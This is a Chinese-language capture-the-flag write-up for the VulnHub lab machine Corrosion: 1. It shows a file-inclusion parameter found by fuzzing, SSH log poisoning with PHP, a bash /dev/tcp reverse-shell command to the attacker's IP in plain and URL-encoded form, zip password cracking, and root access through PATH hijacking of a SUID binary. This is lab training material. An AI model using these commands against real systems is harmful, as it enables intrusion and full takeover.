前期准备:
靶机地址:https://www.vulnhub.com/entry/corrosion-1,730/
kali攻击机ip:192.168.11.129
靶机ip:192.168.11.199
一、信息收集
1.使用nmap对目标靶机进行扫描
发现开放了22和80端口。
2. 80端口
源代码中也没有什么提示,扫一下目录:
挨个访问一下:
/tasks
说了需要完成的任务。
/blog-post
randy 大概是个用户名。很具前面目录扫描的结果判断,/blog-post 目录后还有东西,再扫一下:
又发现了一些页面,查看一下:
/blog-post/archives/
二、漏洞利用
查看一下 randylogs.php 文件:
返回的 /blog-post/archives/randylogs.php 发现什么也没有,感觉不对,用 wfuzz 做一下模糊测试:
得到了 file 参数。
可以访问系统文件,看先之前提到的 auth.log 日志:
发现会记录 ssh 登录的所有活动,那我们可以尝试添加恶意 PHP 代码作为用户名,该代码将从用户输入并执行命令。这通常称为日志中毒。
再次查看日志信息:
注入的信息应该在这里,验证一下:
发现没问题,写入shell:
bash -c 'bash -i >& /dev/tcp/192.168.11.129/1234 0>&1'
url 编码一下:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.129%2F1234%200%3E%261%27
访问并监听:
之前我们访问 /etc/passwd 文件时,发现有个用户 randy,大概下一步是要提权到 rangdy。
三、提权
查看了一下系统内的文件:
最后在 /var/backups/ 目录下发现一个 user_backup.zip:
解压时发现有密码,传输到本地 kali 上破解一下:
这里用的 nc 传输:
爆破一下压缩包:
pw == !randybaby
查看压缩包内的信息:
发现 randy 的密码,ssh 登录:
查看一下权限:
发现了 /home/randy/tools/easysysinfo ,查看一下:
查看权限发现并不能改,那就用之前的方法,本地编辑 cat 文件,写入 shell:
echo 'chmod +s /bin/bash' > cat
chmod 777 cat
export PATH=/home/randy/tools:$PATH
./easysysinfo
/bin/bash -p
成功获取到 root,在 /root 下发现了flag:
并且还在 /root/creds 下发现了 root 密码: